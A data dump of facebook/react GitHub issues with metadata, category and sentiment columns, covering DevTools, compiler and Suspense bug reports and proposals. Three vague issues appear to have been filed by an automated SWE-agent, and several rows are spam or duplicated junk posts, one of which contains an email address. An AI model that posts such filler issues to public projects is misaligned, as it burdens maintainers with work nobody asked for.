facebook/react,3369198361,[Enhancement] Add option to prevent fallback to client-side execution when using `use()`,"> Note: **SORRY IF I CREATED USING BUG REPORT TEMPLATE, PLEASE CORRECT ME THE TEMPLATE I SHOULD USE IF I AM WRONG, because I can't find a template named ""Feature Request"" :(((**

> **Issue Type:** Enhancement / Feature Request

Currently, when using `use()` in React server components, if a server-side action fails or is unavailable, it may fall back to executing on the client side. I propose adding a parameter or option that allows developers to **disallow this fallback**, ensuring that certain actions always remain server-only.

This would be useful in scenarios where:

* Sensitive operations must never execute on the client.
* Server-specific resources or data are required.
* Consistency and security need to be enforced.

**Proposed Behavior:**

* Add a boolean parameter (e.g., `allowClientFallback = true`) to `use()`.
* When set to `false`, `use()` should throw an error if the server action is unavailable, instead of falling back to client-side execution.

**Example:**

```js
const data = use(fetchServerData, { allowClientFallback: false });
```

**Benefits:**

* Prevent accidental execution of server-only logic on the client.
* Improve security and predictability of server components.
* Give developers explicit control over fallback behavior.
","Status: Unconfirmed,Resolution: Stale",2025-08-30 14:55:26+00:00,2026-03-11 06:20:46+00:00,4,"Status: Unconfirmed,Resolution: Stale",192.6426,enhancement add option to prevent fallback to client side execution when using note sorry if i created using bug report template please correct me the template i should use if i am wrong because i can t find a template named feature request issue type enhancement feature request currently when using in react server components if a server side action fails or is unavailable it may fall back to executing on the client side i propose adding a parameter or option that allows developers to disallow this fallback ensuring that certain actions always remain server only this would be useful in scenarios where sensitive operations must never execute on the client server specific resources or data are required consistency and security need to be enforced proposed behavior add a boolean parameter e g to when set to should throw an error if the server action is unavailable instead of falling back to client side execution example benefits prevent accidental execution of server only logic on the client improve security and predictability of server components give developers explicit control over fallback behavior,feature,0.7003
facebook/react,3366441708,React 19.1.1 slows down rendering (~5s) with DevTools open and Playwright headful tests,"
**Environment:**
- React version: 19.1.1
- React-DOM version: 19.1.1
- Browser: Chrome 116 (or latest)
- OS: Windows 11 / MacOS 14 / Linux Ubuntu 22.04

**Description**
Upgrading from React 19.0.0 to 19.1.1 causes significant rendering delays (~5 seconds) when Chrome DevTools is open.

**Steps to Reproduce**
1. Create a simple React component.
2. Upgrade to React 19.1.1 / React-DOM 19.1.1.
3. Open Chrome DevTools.
4. Observe rendering delay (~5 seconds).

**Expected behavior**
- Components render immediately (<1 second) regardless of DevTools being open.

**Actual behavior**
- Rendering takes ~5 seconds when DevTools is open.

**Additional context / Logs / Screenshots**
- Include Chrome Performance profile screenshots if available.
- Any console warnings or logs.
- Minimal reproduction code: (optionally link a Codesandbox or GitHub repo)

**Notes**
- Downgrading to React 19.0.0 resolves the slowdown.
- Problem seems related to DevTools interaction with React 19.1.1.","Status: Unconfirmed,Resolution: Stale",2025-08-29 11:00:01+00:00,2026-01-12 15:08:08+00:00,11,"Status: Unconfirmed,Resolution: Stale",136.1723,react slows down rendering s with devtools open and playwright headful tests environment react version react dom version browser chrome or latest os windows macos linux ubuntu description upgrading from react to causes significant rendering delays seconds when chrome devtools is open create a simple react component upgrade to react react dom open chrome devtools observe rendering delay seconds components render immediately second regardless of devtools being open rendering takes seconds when devtools is open logs include chrome performance profile if available any console warnings or logs code optionally link a codesandbox or github repo notes downgrading to react resolves the slowdown problem seems related to devtools interaction with react,others,-0.3818
facebook/react,3366001140,"[DevTools Bug] Could not find node with id ""250"" in commit tree","### Website or app

react-devtools

### Repro steps

- Start Profiler
- Interact with the component
- Stop Profiler
- Navigate from the ""Flamegraph"" to ""Ranked"" tab

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Could not find node with id ""250"" in commit tree

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225057
    at Map.forEach (<anonymous>)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225006
    at he.getRankedChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225519)
    at CommitRankedAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1475807)
    at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66690)
    at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:96942)
    at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:110959)
    at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182534)
    at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182390)
```

### Error component stack (automated)

```text
at CommitRankedAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-29 08:38:04+00:00,2026-02-07 22:13:09+00:00,2,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",162.566,devtools bug could not find node with id in commit tree website or app react devtools repro steps start profiler interact with the component stop profiler navigate from the flamegraph to ranked tab how often does this bug happen every time devtools package automated react devtools extensions devtools version automated d cd error message automated could not find node with id in commit tree error call stack automated error component stack automated text at commitrankedautosizer chrome extension fmkadmapgofadopljbjfkapdkoienihi build main truncated,bug,-0.9153
facebook/react,3365334109,Add developer tools integration,"**Priority:** High

**Description:**
Add developer tools integration

**Type:** Custom Instruction

---
*Created by SWE-agent with custom instructions*",,2025-08-29 03:39:52+00:00,2025-08-29 04:23:00+00:00,0,nan,0.03,add developer tools integration priority high description add developer tools integration type custom instruction created by swe agent with custom instructions,others,0.25
facebook/react,3365334093,Implement error boundary improvements,"**Priority:** High

**Description:**
Implement error boundary improvements

**Type:** Custom Instruction

---
*Created by SWE-agent with custom instructions*",,2025-08-29 03:39:51+00:00,2025-08-29 04:23:06+00:00,0,nan,0.03,implement error boundary improvements priority high description implement error boundary improvements type custom instruction created by swe agent with custom instructions,bug,-0.1027
facebook/react,3365334075,Add performance monitoring hooks,"**Priority:** High

**Description:**
Add performance monitoring hooks

**Type:** Custom Instruction

---
*Created by SWE-agent with custom instructions*",,2025-08-29 03:39:49+00:00,2025-08-29 04:23:12+00:00,0,nan,0.0301,add performance monitoring hooks priority high description add performance monitoring hooks type custom instruction created by swe agent with custom instructions,others,0.25
facebook/react,3364096934,Update CodeSandbox CI to Node 20 to match .nvmrc,"### Website or app

https://github.com/facebook/react

### Repro steps

1. Check the repository’s `.nvmrc` file — it specifies Node 20.
2. Check `.codesandbox/ci.json` — it currently specifies Node 18.
3. This mismatch may cause builds in CodeSandbox CI to use an older Node version than intended.

### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```",Type: Enhancement,2025-08-28 17:17:46+00:00,2025-08-28 22:33:13+00:00,0,Type: Enhancement,0.2191,update codesandbox ci to node to match nvmrc website or app repro steps check the repository s file it specifies node check it currently specifies node this mismatch may cause builds in codesandbox ci to use an older node version than intended how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,feature,-0.9524
facebook/react,3362695640,Bug: TaintRegistryPendingRequests is undefined when using react-markup,"Current React 19.1.1 / react-server is not having TaintRegistryPendingRequests (and other TaintRegistry related members) inside it's SharedInternals which is required for react-markup to work.

Despite this line:
https://github.com/facebook/react/blob/8d7b5e490320732f40d9c3aa4590b5b0ae5116f5/packages/react/src/ReactSharedInternalsServer.js#L36
It is not present in the react.react-server npm package.

Here you can go to the react.react-server exported/compiled code and see that it's missing but required in react-markup

https://www.npmjs.com/package/react?activeTab=code
https://www.npmjs.com/package/react-markup/v/0.0.0-experimental-9784cb37-20250730?activeTab=code

This issue if true is critical to support SSR in a react-server env, there is simply no other option right now.","Status: Unconfirmed,Resolution: Stale",2025-08-28 10:07:54+00:00,2025-12-08 18:08:31+00:00,2,"Status: Unconfirmed,Resolution: Stale",102.3338,taintregistrypendingrequests is undefined when using react markup current react react server is not having taintregistrypendingrequests and other taintregistry related members inside it s sharedinternals which is required for react markup to work despite this line it is not present in the react react server npm package here you can go to the react react server exported compiled code and see that it s missing but required in react markup this issue if true is critical to support ssr in a react server env there is simply no other option right now,bug,0.2263
facebook/react,3359705196,[DevTools Bug] Failed to construct 'URL': Invalid base URL,"### Website or app

Uncaught Error: Failed to construct 'URL': Invalid base URL

### Repro steps

Just clicking on the items in my component

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Failed to construct 'URL': Invalid base URL

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1433932
```

### Error component stack (automated)

```text
at ActualSourceButton (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1435264)
    at Suspense (<anonymous>)
    at Components_InspectedElementViewSourceButton (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1435715)
    at div (<anonymous>)
    at div (<anonymous>)
    at InspectedElementWrapper (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1436226)
    at va (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1380724)
    at div (<anonymous>)
    at InspectedElementErrorBoundaryWrapper (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1387058)
    at NativeStyleContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1419824)
    at div (<anonymous>)
    at div (<anonymous>)
    at OwnersListContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1329355)
    at SettingsMo... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-08-27 14:56:09+00:00,2025-10-08 13:05:49+00:00,1,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",41.9234,devtools bug failed to construct url invalid base url website or app uncaught error failed to construct url invalid base url repro steps just clicking on the items in my component how often does this bug happen every time devtools package automated react devtools extensions devtools version automated d cd error message automated failed to construct url invalid base url error call stack automated error component stack automated text at actualsourcebutton chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at suspense at components inspectedelementviewsourcebutton chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at div at div at inspectedelementwrapper chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at va chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at div at inspectedelementerrorboundarywrapper chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at nativestylecontextcontroller chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at div at div at ownerslistcontextcontroller chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at settingsmo truncated,bug,-0.9796
facebook/react,3358365113,[Compiler Bug]: errors when the `this` type is declared in a function,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHYIB4AcIwAuABAGZQZyECWEGxUYCAYhBABQCGxAvMcAF8AlMmKcMAT36ZixOHTAlsvBkwDKhToQRdiAfj3FCMKAiEBuTDOIB6G8WoBzDAQRgjE3G7gxquEmASGJrY1oSeCMRqEAC2CAAqESriEpb0tvYIMDAE7nRGABbU7ricMJxx2jAeXg705JQ0dNYNVLT1bOyERWCi0XGJXkLSGNYC1jAIhLD0oRgCIAJAA

### Repro steps

1. Have any hook or component written in Typescript that has a function with the `this` type declared.
2. Notice react compiler error.


### How often does this bug happen?

Every time

### What version of React are you using?

Latest version on playground

### What version of React Compiler are you using?

Latest version on playground","Type: Bug,Status: Unconfirmed",2025-08-27 07:37:01+00:00,2025-08-27 21:58:45+00:00,3,"Type: Bug,Status: Unconfirmed",0.5984,compiler bug errors when the type is declared in a function what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps have any hook or component written in typescript that has a function with the type declared notice react compiler error how often does this bug happen every time what version of react are you using latest version on playground what version of react compiler are you using latest version on playground,bug,-0.8316
facebook/react,3358135498,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-08-27 06:17:00+00:00,2025-08-27 14:40:55+00:00,0,Status: Unconfirmed,0.3499,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3357086074,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

React compiler memoizing impure imported functions

### Repro steps

React compiler is memoizing an `imported impure function` that depend on a `global reference` and on a `local state variable`, which I think is the key here.

The function looks something like this:

```
// utils file

// impure function
export const getSomeValue = (param) => globalRef.doSomething(param);


// component file
import { getSomeValue } from './utils';

export const Comp = () => {
  const param = useSomeHook();

  // compiler is putting this called under: `if (cache[x] !== param)`
  const result = getSomeValue(param);
  ...
}
```

my expectation, since it was an imported function, and the compiler doesn't know if it's pure or not, that it wouldn't memoize it.

it would make sense if the function was pure.

### How often does this bug happen?

Every time

### What version of React are you using?

19.1.1

### What version of React Compiler are you using?

19.1.0-rc.2","Type: Bug,Status: Unconfirmed",2025-08-26 20:48:43+00:00,2025-08-27 14:39:55+00:00,4,"Type: Bug,Status: Unconfirmed",0.7439,compiler bug what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro react compiler memoizing impure imported functions repro steps react compiler is memoizing an that depend on a and on a which i think is the key here the function looks something like this my expectation since it was an imported function and the compiler doesn t know if it s pure or not that it wouldn t memoize it it would make sense if the function was pure how often does this bug happen every time what version of react are you using what version of react compiler are you using rc,bug,-0.2263
facebook/react,3357045861,"Bug: re-ordering components with stable keys invalidates refs/state, since 19.0.0","I've tested with 18.3.1, 19.0.0, and 19.1.1.

I build a modular synth application which uses the Web Audio API. Since it's possible for synth patches to grow quite large, I memoize the ordered list of modules for the sake of having a sensible keyboard navigation order. This means that the order of rendered modules can change.

Up until React 18.3.1, this changing order of rendered modules was not causing any issues. I make sure to use stable unique identifiers as keys when rendering, so components' internal state remains stable as the modules are dragged around the canvas.

Here's a snippet of the code used to render the modules:

```tsx
	const sortedModules = useMemo(
		() => {
			// ... order the modules based on their positions in the canvas
		}),
		[state.modulePositions, state.modules],
	);

	return (
		<>
			{sortedModules.map(([module, position]) => (
				<Module
					key={module.moduleKey}
					module={module}
					position={position}
					state={state}
					dispatch={dispatch}
				/>
			))}
		</>
	);
```

Internally, `<Module />` calls a hook which stores a ref to a ""node"" object – which acts as its handle into the audio API – and initializes it like so:
```typescript
	// ...
	const nodeRef = useRef<NodeType>(undefined);

	if (!nodeRef.current) {
		nodeRef.current = nodeFactory();
	}
	// ...
```

So, since React 19.0.0, this ref seems to get out of sync when the order of the rendered components changes.

React version: 19.0.0, 19.1.1

## Steps To Reproduce

1. `git c... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-26 20:32:55+00:00,2026-03-11 06:20:48+00:00,10,"Status: Unconfirmed,Resolution: Stale",196.4083,re ordering components with stable keys invalidates refs state since i ve tested with and i build a modular synth application which uses the web audio api since it s possible for synth patches to grow quite large i memoize the ordered list of modules for the sake of having a sensible keyboard navigation order this means that the order of rendered modules can change up until react this changing order of rendered modules was not causing any issues i make sure to use stable unique identifiers as keys when rendering so components internal state remains stable as the modules are dragged around the canvas here s a snippet of the code used to render the modules internally calls a hook which stores a ref to a node object which acts as its handle into the audio api and initializes it like so so since react this ref seems to get out of sync when the order of the rendered components changes react version git c truncated,bug,0.9118
facebook/react,3352308710,A jaký je Váš názor?,https://digitalnizdravi.cz/clanky/mezilidske-vztahy/jak-technologie-ovlivnuji-nase-vztahy?appview=true,,2025-08-25 15:35:51+00:00,2025-08-25 17:16:02+00:00,0,nan,0.0696,a jak je v n zor,others,0.0
facebook/react,3351880688,Middle ground between React Compiler and manual `useMemo`s,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

[Example 1](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFAJRHAA6xRchYOLReYAEIQIAawBKCNDARgAFnkwBzIgF8iAXiJQwCYWLJ0EADwaN2RTt16UAhktkAVCAElsAGygATBAGUIMDgIXpraur4I7gi4AfS6UbgACvZOrh7eCOYcXJg8RHYOYM4AosZwnj7+gcGhOn6R0Tix8Y3JhSVlFZnsFkQA9H1EAEwADCNE7oqyRBBoRHIiopy27u5gRLaYIVxUUDi2+Nw92dZEAEaLtboAsgjkEPRMmgB8nDIHeov0vZYC+hJSGTyRRKAA0P3yKSKaXKGSqQS84I4lgKqVKsMqAQRSMsjFBRAA2n9FpJpLIFMp8ajoW4MX4scEqVCOnT4cEALpZXoDYZjCZTdazeaXOArNYbLZWXb7Q65Y6WHJ5SgwPCIdZaWT4cgfRIqtX0C5iRgAbnlRBkOFgxAAPIZ9lMYM8IcA+gAqXnjSaYaZCgBSvgAGkRXX1VL1rX07bYHU7MGHMCBVEA) · [Example 2](https://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAQQwmwAsEYBhCAWwAdMEM8BeXACmAB0NdcEA3RtgA03XpgoAbAJZwA1qIwBfAJS5mAPlxceudFjzBcAI0lQEAZRoJS0jAHNcS9bihgEAITOXrth2xUAbjE9TBxtXBgEABMrahsSO0dnVjcEACUYuISkgOCMEP1wkgBDDGjJBClZORdMkrhsADo0ihLJSWMGuTYA9S0dXl5pADN2ASEm7ABPWgR1ZlZOEFNzZbVBofEMavk2VZ94v3sm6WigkN5nBEl3bUuhiRk9qNjfRIdT8-ytpRClYS4ADaDyeNUUW1e2WOXwhQwO0I+JzOcIAuhcCroothYDw2A8ADzGKDYbCYXBg+TMYClcqVXZyJQaB68YAAegAVLgAIwABl5uBkGAQYApYwAUhYABq4Dlsv66XgEtnE0mYZm6DFKfIgJRAA)

### R... [TRUNCATED]","Component: React Compiler,Type: Discussion",2025-08-25 13:33:02+00:00,2025-10-03 23:12:18+00:00,4,"Component: React Compiler,Type: Discussion",39.4023,middle ground between react compiler and manual s what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro example example r truncated,help,0.3818
facebook/react,3350757976,"I attempted to use react - devtools, but it failed.","My scenario is that a React component is rendered in an iframe. I hoped to use react - devtools to detect the internal state, but it didn't work out.
OS: macOS 14.7.3
Browser: chrome 139.0.7258.68

1. (my code)
 if (window.parent !== window) {
    const script = document.createElement(""script"");
    script.src = ""http://localhost:8097"";
    document.head.appendChild(script);
  }
2. (console)
npx react-devtools 


<img width=""1600"" height=""1200"" alt=""Image"" src=""https://github.com/user-attachments/assets/b284ea17-875e-4ea6-8fd2-7c5e8702a176"" />",Resolution: Stale,2025-08-25 07:25:27+00:00,2025-12-01 17:07:09+00:00,3,Resolution: Stale,98.404,i attempted to use react devtools but it failed my scenario is that a react component is rendered in an iframe i hoped to use react devtools to detect the internal state but it didn t work out os macos browser chrome my code if window parent window const script document createelement script script src document head appendchild script console npx react devtools,others,-0.2617
facebook/react,3350604596,[Proposal] Align suspense behavior,"## Summary

I propose that every `react` root be automatically wrapped in a `Suspense` boundary with no fallback
UI.

```diff
import { createRoot } from 'react-dom/client';
import { App } from './app';

const element = document.getElementById('root');
const root = createRoot(element);

root.render(
+ // Suspense boundary with no fallback UI added by react internally
+  <Suspense fallback={null}>
    <App />
+  </Suspense>
);
```

## Details

In order to understand why I am proposing this change, let's take a look at the suspense behavior in
`react@19.1.1` and `react-dom@19.1.1`.

I've created an application where one component is a lazy component:

```tsx
import { lazy } from 'react';

const LazyContent = lazy(() => import('./content'));
```

### Scenario 1: Lazy component in initial tree

In this scenario, a `lazy` component is rendered as a part of the initial `react` tree. The `lazy`
component will always take longer than `2000ms` to resolve.

#### Case 1.1: With Suspense boundary

[Standalone example](https://stackblitz.com/edit/vitejs-vite-tuduj4gz?file=src%2Fapp.tsx)

| Initial render                                                                                     | After dynamic import resolved                                                              |
| -------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| ![initial-rende... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-08-25 06:25:33+00:00,2025-12-01 17:07:10+00:00,4,"Status: Unconfirmed,Resolution: Stale",98.4456,proposal align suspense behavior summary i propose that every root be automatically wrapped in a boundary with no fallback ui details in order to understand why i am proposing this change let s take a look at the suspense behavior in and i ve created an application where one component is a lazy component scenario lazy component in initial tree in this scenario a component is rendered as a part of the initial tree the component will always take longer than to resolve case with suspense boundary standalone example initial render after dynamic import resolved initial rende truncated,feature,0.1531
facebook/react,3348463900,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

import { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### Repro steps

googel-yongyuthdamdang@gmail.com

### How often does this bug happen?

Every time

### What version of React are you using?

 { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### What version of React Compiler are you using?

https://github.com/facebook/react/issues/new/choose","Type: Bug,Status: Unconfirmed",2025-08-23 16:43:37+00:00,2025-08-23 22:26:39+00:00,1,"Type: Bug,Status: Unconfirmed",0.2382,compiler bug what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro import usesession getsession from next auth react export default function page const data session status usesession if status loading return loading if status unauthenticated return access denied return protected page h repro steps googel yongyuthdamdang gmail com how often does this bug happen every time what version of react are you using usesession getsession from next auth react export default function page const data session status usesession if status loading return loading if status unauthenticated return access denied return protected page h what version of react compiler are you using,bug,-0.5267
facebook/react,3348463826,[Compiler Bug]:,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

import { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### Repro steps

googel-yongyuthdamdang@gmail.com

### How often does this bug happen?

Every time

### What version of React are you using?

 { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### What version of React Compiler are you using?

https://github.com/facebook/react/issues/new/choose","Type: Bug,Status: Unconfirmed",2025-08-23 16:43:31+00:00,2025-08-23 22:26:57+00:00,1,"Type: Bug,Status: Unconfirmed",0.2385,compiler bug what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro import usesession getsession from next auth react export default function page const data session status usesession if status loading return loading if status unauthenticated return access denied return protected page h repro steps googel yongyuthdamdang gmail com how often does this bug happen every time what version of react are you using usesession getsession from next auth react export default function page const data session status usesession if status loading return loading if status unauthenticated return access denied return protected page h what version of react compiler are you using,bug,-0.5267
facebook/react,3348463735,https://github.com/facebook/react/issues/new/choose,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [x] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

import { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### Repro steps

googel-yongyuthdamdang@gmail.com

### How often does this bug happen?

Every time

### What version of React are you using?

 { useSession, getSession } from ""next-auth/react""  export default function Page() {   const { data: session, status } = useSession()    if (status === ""loading"") {     return <p>Loading...</p>   }    if (status === ""unauthenticated"") {     return <p>Access Denied</p>   }    return (     <>       <h1>Protected Page</h

### What version of React Compiler are you using?

https://github.com/facebook/react/issues/new/choose","Type: Bug,Status: Unconfirmed",2025-08-23 16:43:23+00:00,2025-08-23 22:27:10+00:00,0,"Type: Bug,Status: Unconfirmed",0.2387,what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization x babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin x react compiler healthcheck build issue installing or using the healthcheck script link to repro import usesession getsession from next auth react export default function page const data session status usesession if status loading return loading if status unauthenticated return access denied return protected page h repro steps googel yongyuthdamdang gmail com how often does this bug happen every time what version of react are you using usesession getsession from next auth react export default function page const data session status usesession if status loading return loading if status unauthenticated return access denied return protected page h what version of react compiler are you using,bug,-0.2263
facebook/react,3347087988,Bug: eslint-plugin-react-hooks error with Flow component syntax,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

Plugin version: 4.5

I don't know if I've overlooked something or made a mistake, but after switching to Flow's component syntax I have lint errors coming from `eslint-plugin-react-hooks`.

## Steps To Reproduce

1. Use flow component syntax in a React component
2. Run linter

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example: https://github.com/facebook/react-strict-dom/pull/377

## The current behavior

Error:

```
React Hook ""useStrictDOMElement"" is called in function ""createStrictDOMTextInputComponent"" that is neither a React function component nor a custom React Hook function. React component names must start with an uppercase letter. React Hook names must start with the word ""use""
```

## The expected behavior

No error",Status: Unconfirmed,2025-08-22 23:43:53+00:00,2025-08-25 18:36:32+00:00,6,Status: Unconfirmed,2.7866,eslint plugin react hooks error with flow component syntax of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed plugin version i don t know if i ve overlooked something or made a mistake but after switching to flow s component syntax i have lint errors coming from use flow component syntax in a react component run linter your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example the current behavior error the no error,bug,-0.9655
facebook/react,3347056323,"[Compiler Bug]: `ref.current === undefined`, `!ref.current` are not allowed","### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

